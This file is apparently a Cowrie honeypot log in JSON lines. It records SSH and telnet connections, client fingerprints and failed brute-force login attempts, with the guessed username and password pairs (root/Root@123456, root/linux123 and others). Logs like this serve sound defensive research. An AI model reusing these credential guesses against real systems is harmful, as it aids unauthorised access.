{"eventid":"cowrie.session.connect","src_ip":"31.57.184.247","src_port":50568,"dst_ip":"159.203.135.109","dst_port":22,"session":"464799478282","protocol":"ssh","message":"New connection: 31.57.184.247:50568 (159.203.135.109:22) [session: 464799478282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:10.880787Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:10.885788Z","src_ip":"31.57.184.247","session":"464799478282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.184.247","src_port":50578,"dst_ip":"159.203.135.109","dst_port":22,"session":"4624b899cb39","protocol":"ssh","message":"New connection: 31.57.184.247:50578 (159.203.135.109:22) [session: 4624b899cb39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:11.026519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:11.031233Z","src_ip":"31.57.184.247","session":"4624b899cb39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:11.138296Z","src_ip":"31.57.184.247","session":"4624b899cb39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:11.352317Z","src_ip":"31.57.184.247","session":"4624b899cb39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:12.457776Z","src_ip":"31.57.184.247","session":"4624b899cb39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":46510,"dst_ip":"159.203.135.109","dst_port":22,"session":"55d360e131e9","protocol":"ssh","message":"New connection: 165.154.6.49:46510 (159.203.135.109:22) [session: 55d360e131e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:30.984367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:30.988935Z","src_ip":"165.154.6.49","session":"55d360e131e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:31.204674Z","src_ip":"165.154.6.49","session":"55d360e131e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123456","message":"login attempt [root/Root@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:32.104544Z","src_ip":"165.154.6.49","session":"55d360e131e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:33.323526Z","src_ip":"165.154.6.49","session":"55d360e131e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.21686768531799,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:50.568645Z","src_ip":"142.93.69.27","session":"747904bac416","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00206327438354,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:44:05.868957Z","src_ip":"149.86.143.242","session":"f9847bb3f962","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01027870178223,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:44:15.152935Z","src_ip":"149.86.143.242","session":"c16d3ffc7161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2016,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8d78de662dd","protocol":"telnet","message":"New connection: 149.86.143.242:2016 (10.17.0.5:23) [session: e8d78de662dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:44:15.489805Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2191,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aaaa270935b","protocol":"telnet","message":"New connection: 149.86.143.242:2191 (10.17.0.5:23) [session: 5aaaa270935b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:44:21.635881Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":46464,"dst_ip":"159.203.135.109","dst_port":22,"session":"a176828c43b2","protocol":"ssh","message":"New connection: 165.154.6.49:46464 (159.203.135.109:22) [session: a176828c43b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:44:25.238239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:44:25.243618Z","src_ip":"165.154.6.49","session":"a176828c43b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:44:25.457840Z","src_ip":"165.154.6.49","session":"a176828c43b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:44:26.345355Z","src_ip":"165.154.6.49","session":"a176828c43b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:44:27.561907Z","src_ip":"165.154.6.49","session":"a176828c43b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":45574,"dst_ip":"159.203.135.109","dst_port":22,"session":"697912e7d4fb","protocol":"ssh","message":"New connection: 139.59.208.49:45574 (159.203.135.109:22) [session: 697912e7d4fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:44:31.026098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:44:31.032006Z","src_ip":"139.59.208.49","session":"697912e7d4fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:44:31.114774Z","src_ip":"139.59.208.49","session":"697912e7d4fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Video123","message":"login attempt [root/Video123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:44:31.475620Z","src_ip":"139.59.208.49","session":"697912e7d4fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:44:32.560845Z","src_ip":"139.59.208.49","session":"697912e7d4fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":40810,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6e70dff33fe","protocol":"ssh","message":"New connection: 165.154.6.49:40810 (159.203.135.109:22) [session: c6e70dff33fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:45:19.388832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:45:19.394244Z","src_ip":"165.154.6.49","session":"c6e70dff33fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:45:19.610070Z","src_ip":"165.154.6.49","session":"c6e70dff33fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"peppino","message":"login attempt [root/peppino] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:45:20.505691Z","src_ip":"165.154.6.49","session":"c6e70dff33fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:45:21.725180Z","src_ip":"165.154.6.49","session":"c6e70dff33fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":33614,"dst_ip":"159.203.135.109","dst_port":22,"session":"501bf762a123","protocol":"ssh","message":"New connection: 190.167.237.191:33614 (159.203.135.109:22) [session: 501bf762a123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:45:27.886506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:45:27.891618Z","src_ip":"190.167.237.191","session":"501bf762a123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:45:27.961128Z","src_ip":"190.167.237.191","session":"501bf762a123","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"time","message":"login attempt [root/time] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:45:28.272821Z","src_ip":"190.167.237.191","session":"501bf762a123","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:45:29.345959Z","src_ip":"190.167.237.191","session":"501bf762a123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":40030,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaa19e2e3d5a","protocol":"ssh","message":"New connection: 124.155.125.131:40030 (159.203.135.109:22) [session: aaa19e2e3d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:45:50.163686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:45:50.168688Z","src_ip":"124.155.125.131","session":"aaa19e2e3d5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:45:50.344828Z","src_ip":"124.155.125.131","session":"aaa19e2e3d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"124578","message":"login attempt [root/124578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:45:51.075798Z","src_ip":"124.155.125.131","session":"aaa19e2e3d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:45:52.253513Z","src_ip":"124.155.125.131","session":"aaa19e2e3d5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":52890,"dst_ip":"159.203.135.109","dst_port":22,"session":"3024b05e769d","protocol":"ssh","message":"New connection: 165.154.6.49:52890 (159.203.135.109:22) [session: 3024b05e769d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:11.959819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:11.965070Z","src_ip":"165.154.6.49","session":"3024b05e769d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:12.180866Z","src_ip":"165.154.6.49","session":"3024b05e769d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chick","message":"login attempt [root/chick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:13.078655Z","src_ip":"165.154.6.49","session":"3024b05e769d","protocol":"ssh"}
